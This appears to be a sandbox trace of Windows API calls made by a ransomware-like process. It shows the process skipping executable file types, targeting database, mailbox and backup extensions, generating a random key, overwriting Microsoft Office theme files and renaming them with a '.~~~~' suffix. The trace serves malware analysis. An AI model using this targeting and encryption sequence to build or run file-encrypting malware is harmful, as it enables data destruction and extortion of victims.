	[0083.581] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.~~~~")) returned 1
	[0083.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6470 | out: hHeap=0x300000) returned 1
	[0083.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0083.584] GetLastError () returned 0x0
	[0083.584] RtlWakeConditionVariable () returned 0x365f70
	[0083.584] GetCurrentThreadId () returned 0xaf0
	[0083.584] GetCurrentThreadId () returned 0xaf0
	[0083.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0083.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f65e0 | out: hHeap=0x300000) returned 1
	[0083.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2288 | out: hHeap=0x300000) returned 1
	[0083.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f65e0
	[0083.584] lstrlenW (lpString=".scr") returned 4
	[0083.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".scr") returned 0x0
	[0083.584] lstrlenW (lpString=".cmd") returned 4
	[0083.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".cmd") returned 0x0
	[0083.584] lstrlenW (lpString=".dll") returned 4
	[0083.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".dll") returned 0x0
	[0083.584] lstrlenW (lpString=".bat") returned 4
	[0083.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".bat") returned 0x0
	[0083.585] lstrlenW (lpString=".cpl") returned 4
	[0083.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".cpl") returned 0x0
	[0083.585] lstrlenW (lpString=".sys") returned 4
	[0083.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".sys") returned 0x0
	[0083.585] lstrlenW (lpString=".msc") returned 4
	[0083.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".msc") returned 0x0
	[0083.585] lstrlenW (lpString=".com") returned 4
	[0083.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".com") returned 0x0
	[0083.585] lstrlenW (lpString=".lnk") returned 4
	[0083.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".lnk") returned 0x0
	[0083.585] lstrlenW (lpString=".msp") returned 4
	[0083.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".msp") returned 0x0
	[0083.585] lstrlenW (lpString=".pif") returned 4
	[0083.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".pif") returned 0x0
	[0083.585] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0083.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0083.585] lstrlenW (lpString=".sqb") returned 4
	[0083.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".sqb") returned 0x0
	[0083.585] lstrlenW (lpString=".ost") returned 4
	[0083.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".ost") returned 0x0
	[0083.585] lstrlenW (lpString=".txt") returned 4
	[0083.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".txt") returned 0x0
	[0083.585] lstrlenW (lpString=".mdt") returned 4
	[0083.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".mdt") returned 0x0
	[0083.586] lstrlenW (lpString=".BDB") returned 4
	[0083.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".BDB") returned 0x0
	[0083.586] lstrlenW (lpString=".eql") returned 4
	[0083.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".eql") returned 0x0
	[0083.586] lstrlenW (lpString=".DBF") returned 4
	[0083.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".DBF") returned 0x0
	[0083.586] lstrlenW (lpString=".EQL") returned 4
	[0083.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".EQL") returned 0x0
	[0083.586] lstrlenW (lpString=".FDB") returned 4
	[0083.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".FDB") returned 0x0
	[0083.586] lstrlenW (lpString=".EDB") returned 4
	[0083.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".EDB") returned 0x0
	[0083.586] lstrlenW (lpString=".DACPAC") returned 7
	[0083.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".DACPAC") returned 0x0
	[0083.586] lstrlenW (lpString=".VHD") returned 4
	[0083.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".VHD") returned 0x0
	[0083.586] lstrlenW (lpString=".DBV") returned 4
	[0083.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".DBV") returned 0x0
	[0083.586] lstrlenW (lpString=".dacpac") returned 7
	[0083.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".dacpac") returned 0x0
	[0083.586] lstrlenW (lpString=".sdf") returned 4
	[0083.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".sdf") returned 0x0
	[0083.586] lstrlenW (lpString=".accdb") returned 6
	[0083.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".accdb") returned 0x0
	[0083.586] lstrlenW (lpString=".DBX") returned 4
	[0083.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".DBX") returned 0x0
	[0083.586] lstrlenW (lpString=".MDT") returned 4
	[0083.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".MDT") returned 0x0
	[0083.586] lstrlenW (lpString=".SQB") returned 4
	[0083.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".SQB") returned 0x0
	[0083.586] lstrlenW (lpString=".vhd") returned 4
	[0083.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".vhd") returned 0x0
	[0083.586] lstrlenW (lpString=".bac") returned 4
	[0083.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".bac") returned 0x0
	[0083.587] lstrlenW (lpString=".mdf") returned 4
	[0083.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".mdf") returned 0x0
	[0083.587] lstrlenW (lpString=".BAK") returned 4
	[0083.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".BAK") returned 0x0
	[0083.587] lstrlenW (lpString=".BAC") returned 4
	[0083.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".BAC") returned 0x0
	[0083.587] lstrlenW (lpString=".dbs") returned 4
	[0083.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".dbs") returned 0x0
	[0083.587] lstrlenW (lpString=".vhdx") returned 5
	[0083.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".vhdx") returned 0x0
	[0083.587] lstrlenW (lpString=".NDF") returned 4
	[0083.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".NDF") returned 0x0
	[0083.587] lstrlenW (lpString=".dat") returned 4
	[0083.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".dat") returned 0x0
	[0083.587] lstrlenW (lpString=".DBS") returned 4
	[0083.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".DBS") returned 0x0
	[0083.587] lstrlenW (lpString=".CKP") returned 4
	[0083.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".CKP") returned 0x0
	[0083.587] lstrlenW (lpString=".edb") returned 4
	[0083.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".edb") returned 0x0
	[0083.587] lstrlenW (lpString=".PST") returned 4
	[0083.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".PST") returned 0x0
	[0083.587] lstrlenW (lpString=".dbf") returned 4
	[0083.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".dbf") returned 0x0
	[0083.587] lstrlenW (lpString=".SQL") returned 4
	[0083.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".SQL") returned 0x0
	[0083.587] lstrlenW (lpString=".pst") returned 4
	[0083.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".pst") returned 0x0
	[0083.587] lstrlenW (lpString=".dbv") returned 4
	[0083.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".dbv") returned 0x0
	[0083.587] lstrlenW (lpString=".SDF") returned 4
	[0083.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".SDF") returned 0x0
	[0083.588] lstrlenW (lpString=".dtxs") returned 5
	[0083.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".dtxs") returned 0x0
	[0083.588] lstrlenW (lpString=".db3") returned 4
	[0083.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".db3") returned 0x0
	[0083.588] lstrlenW (lpString=".OST") returned 4
	[0083.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".OST") returned 0x0
	[0083.588] lstrlenW (lpString=".dbx") returned 4
	[0083.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".dbx") returned 0x0
	[0083.588] lstrlenW (lpString=".DB3") returned 4
	[0083.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".DB3") returned 0x0
	[0083.588] lstrlenW (lpString=".DAT") returned 4
	[0083.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".DAT") returned 0x0
	[0083.588] lstrlenW (lpString=".VHDX") returned 5
	[0083.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".VHDX") returned 0x0
	[0083.588] lstrlenW (lpString=".ndf") returned 4
	[0083.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".ndf") returned 0x0
	[0083.588] lstrlenW (lpString=".DB") returned 3
	[0083.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".DB") returned 0x0
	[0083.588] lstrlenW (lpString=".sql") returned 4
	[0083.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".sql") returned 0x0
	[0083.588] lstrlenW (lpString=".MYD") returned 4
	[0083.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".MYD") returned 0x0
	[0083.588] lstrlenW (lpString=".DBT") returned 4
	[0083.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".DBT") returned 0x0
	[0083.588] lstrlenW (lpString=".ACCDB") returned 6
	[0083.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".ACCDB") returned 0x0
	[0083.588] lstrlenW (lpString=".fdb") returned 4
	[0083.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".fdb") returned 0x0
	[0083.588] lstrlenW (lpString=".bak") returned 4
	[0083.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".bak") returned 0x0
	[0083.588] lstrlenW (lpString=".myd") returned 4
	[0083.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".myd") returned 0x0
	[0083.589] lstrlenW (lpString=".DTXS") returned 5
	[0083.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".DTXS") returned 0x0
	[0083.589] lstrlenW (lpString=".ckp") returned 4
	[0083.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".ckp") returned 0x0
	[0083.589] lstrlenW (lpString=".dbt") returned 4
	[0083.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".dbt") returned 0x0
	[0083.589] lstrlenW (lpString=".db") returned 3
	[0083.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".db") returned 0x0
	[0083.589] lstrlenW (lpString=".TXT") returned 4
	[0083.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".TXT") returned 0x0
	[0083.589] lstrlenW (lpString=".MDF") returned 4
	[0083.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".MDF") returned 0x0
	[0083.589] lstrlenW (lpString=".bdb") returned 4
	[0083.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".bdb") returned 0x0
	[0083.589] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0083.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.589] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0083.590] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.590] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0083.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0083.590] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20358031057) returned 1
	[0083.590] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9ba76170, dwHighDateTime=0x1d60e1e)) 
	[0083.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0083.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0083.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0083.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2288
	[0083.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2288 | out: hHeap=0x300000) returned 1
	[0083.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa5b0
	[0083.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa5b0 | out: hHeap=0x300000) returned 1
	[0083.591] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0083.591] GetLastError () returned 0x0
	[0083.591] GetLastError () returned 0x0
	[0083.591] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0083.591] GetLastError () returned 0x0
	[0083.591] GetLastError () returned 0x0
	[0083.594] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffff1506, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.594] WriteFile (in: hFile=0x118, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0xeafa, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0xeafa, lpOverlapped=0x0) returned 1
	[0083.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.594] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.594] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.594] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.594] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.594] CloseHandle (hObject=0x118) returned 1
	[0083.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0083.594] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm.~~~~")) returned 1
	[0083.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6470 | out: hHeap=0x300000) returned 1
	[0083.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0083.595] GetLastError () returned 0x0
	[0083.595] RtlWakeConditionVariable () returned 0x365f70
	[0083.595] GetCurrentThreadId () returned 0xaf0
	[0083.595] GetCurrentThreadId () returned 0xaf0
	[0083.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0083.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6698 | out: hHeap=0x300000) returned 1
	[0083.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a22c0 | out: hHeap=0x300000) returned 1
	[0083.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6698
	[0083.596] lstrlenW (lpString=".scr") returned 4
	[0083.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".scr") returned 0x0
	[0083.596] lstrlenW (lpString=".cmd") returned 4
	[0083.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".cmd") returned 0x0
	[0083.596] lstrlenW (lpString=".dll") returned 4
	[0083.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".dll") returned 0x0
	[0083.596] lstrlenW (lpString=".bat") returned 4
	[0083.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".bat") returned 0x0
	[0083.596] lstrlenW (lpString=".cpl") returned 4
	[0083.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".cpl") returned 0x0
	[0083.596] lstrlenW (lpString=".sys") returned 4
	[0083.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".sys") returned 0x0
	[0083.596] lstrlenW (lpString=".msc") returned 4
	[0083.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".msc") returned 0x0
	[0083.596] lstrlenW (lpString=".com") returned 4
	[0083.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".com") returned 0x0
	[0083.596] lstrlenW (lpString=".lnk") returned 4
